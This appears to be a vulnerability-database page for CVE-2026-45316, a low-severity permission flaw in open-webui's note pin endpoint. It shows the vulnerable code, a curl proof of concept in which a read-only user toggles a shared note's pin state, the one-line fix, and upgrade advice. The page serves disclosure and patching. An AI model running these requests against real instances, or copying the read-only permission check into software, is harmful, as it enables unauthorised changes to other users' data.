# CVE-2026-45316: open-webui PrivEsc β€” Fixed in 0.9.3 🐍 🐍 PyPI Not in CISA KEV LOW severity # CVE-2026-45316 β€” open-webui LOW CVE-2026-45316 is a low-severity (CVSS 3.5) CWE-863 vulnerability in open-webui. A fix is available for open-webui β€” see the affected versions and patch details below. Open WebUI: Read-Only Users Can Toggle Note Pin Status via Incorrect Permission Check (Write via Read-Only Access) Also known as[GHSA-jx2x-j75f-xq3j](/vulnerability/GHSA-jx2x-j75f-xq3j)PYSEC-2026-2745 Published May 15, 2026 Updated Oct 28, 2026 Affected 1 pkg Patched 1 / 1 Exploits None indexed Exploitation data as of Nov 10, 2026 Β· OSV.dev, NVD, FIRST.org (EPSS) ## Exploitation Status ### Proof-of-concept exploit code exists - CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation. Exploitation and automatability from CISA’s SSVC triage for CVE-2026-45316. ## EPSS Exploitation Probability [via FIRST.org β†—](https://www.first.org/epss/) 0.2%probability of exploitation in next 30 days Lower Risk0.00% Lower risk than most CVEs15th percentile β€” riskier than 15% of all scored CVEsHighest risk 0.00%0.25%0.50%0.76%0.0%0.2%Jun 26Sep 26Nov 26 Probability of exploitation in the next 30 days, from [FIRST.org EPSS](https://www.first.org/epss/). ## How urgent is this, really ## Where this sits among everything scored ## Real-World Exposure 1 pkg affected 🐍`open-webui` Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages β€” download data is not available via public APIs for these ecosystems. ## Description #### Summary The `POST /api/v1/notes/{id}/pin` endpoint performs a write operation (toggling the `is_pinned` field) but only checks for `read` permission. Users with read-only access to a shared note can pin/unpin it, which is a state-modifying action that should require `write` permission. All other write endpoints (update, delete, access/update) correctly check for `write` permission. #### Details **Affected code: `backend/open_webui/routers/notes.py` lines 412-444** ``` @router.post('/{id}/pin', response_model=Optional[NoteModel]) async def pin_note_by_id(...): # ... if user.role != 'admin' and ( user.id != note.user_id and not await AccessGrants.has_access( user_id=user.id, resource_type='note', resource_id=note.id, permission='read', # BUG: should be 'write' db=db, ) ): raise HTTPException(...) note = await Notes.toggle_note_pinned_by_id(id, db=db) # write operation ``` **Compare with update endpoint (correct, line 318-327):** ``` async def update_note_by_id(...): # ... and not await AccessGrants.has_access( permission='write', # correctly checks 'write' ) ``` #### PoC **Environment:** Open WebUI v0.9.2, default configuration with notes sharing enabled. **Setup:** 1. UserA creates a note 2. UserA shares note with UserB with `read` permission via `POST /api/v1/notes/{id}/access/update` with `{"access_grants":[{"principal_type":"user","principal_id":"USERB_ID","permission":"read"}]}` **Test:** ``` # Step 1: UserB reads note (READ permission) -> 200 OK, write_access: false curl -s http://TARGET/api/v1/notes/$NOTE_ID \ -H "Authorization: Bearer $TOKEN_B" # Result: 200 OK, "write_access": false # Step 2: UserB updates note (WRITE operation) -> 403 Forbidden (correctly blocked) curl -s -X POST http://TARGET/api/v1/notes/$NOTE_ID/update \ -H "Authorization: Bearer $TOKEN_B" \ -H "Content-Type: application/json" \ -d '{"title":"HACKED","content":"pwned","data":{"type":"note"}}' # Result: 403 Forbidden # Step 3: UserB pins note (WRITE operation, but only checks READ) -> 200 OK (BUG!) curl -s -X POST http://TARGET/api/v1/notes/$NOTE_ID/pin \ -H "Authorization: Bearer $TOKEN_B" # Result: 200 OK, "is_pinned": true # Step 4: UserB can toggle pin repeatedly curl -s -X POST http://TARGET/api/v1/notes/$NOTE_ID/pin \ -H "Authorization: Bearer $TOKEN_B" # Result: 200 OK, "is_pinned": false (toggled back) ``` **E2E Verified Result:** - Step 1: UserB reads note (READ) -> 200 OK βœ“ - Step 2: UserB updates note (WRITE) -> 403 Forbidden βœ“ (correctly blocked) - Step 3: UserB pins note (WRITE via READ) -> 200 OK, is\_pinned: true βœ— (BUG) - Step 4: UserB toggles pin again -> 200 OK, is\_pinned: false βœ— (repeated write) #### Impact - A user with only `read` access to a shared note can toggle its `is_pinned` status - This modifies the note's state without write authorization - The pin status change is visible to the note owner and all other users with access - Privilege escalation from read to write on the pin operation **Limitations:** Only affects the `is_pinned` boolean field. Cannot modify title, content, or access\_grants. Requires at least read access via explicit sharing. #### Fix One-line fix β€” change `permission='read'` to `permission='write'` in `pin_note_by_id`: ``` # backend/open_webui/routers/notes.py, line 437 - permission='read', + permission='write', ``` This makes the pin endpoint consistent with update and delete endpoints. ## Affected Packages 1 total 1 fixed Ecosystem Package Vulnerable range Fix 🐍PyPI `open-webui` all versions 0.9.3`pip install --upgrade 'open-webui==0.9.3'` ## Affected Products 1 product Β· 1 configurations Application `open webui`openwebui < 0.9.3 range ## Detection & mitigation playbook Open-source dependency 1. ### Detect Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for open-webui, including transitive dependencies β€” a direct dependency you never call can still pull in a vulnerable version. 2. ### Fix Update open-webui to 0.9.3 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range β€” O3 confirms CVE-2026-45316 is resolved across your whole dependency graph. 3. ### Workarounds Close the privilege gap rather than the entry point: audit which accounts, roles and service identities can reach the affected operation, drop the component to the least privilege it actually needs, and review file and directory permissions created by earlier installs β€” a default left in place is what makes this reachable. ## Frequently Asked Questions \### Summary The \`POST /api/v1/notes/{id}/pin\` endpoint performs a write operation (toggling the \`is\_pinned\` field) but only checks for \`read\` permission. Users with read-only access to a shared note can pin/unpin it, which is a state-modifying action that should require \`write\` permission. All other write endpoints (update, delete, access/update) correctly check for \`write\` permission. ### Details \*\*Affected code: \`backend/open\_webui/routers/notes.py\` lines 412-444\*\* \`\`\`python @router.post('/{id}/pin', response\_model=Optional\[NoteModel\]) async def pin\_note\_by\_id(...): # ... if user O3 Security Β· Impact-Aware SCA ### Is CVE-2026-45316 in your dependencies? Find it across PyPI, including transitive dependencies. [Scan my dependencies](/book-demo) [How O3 SCA works](/impact-aware-sca)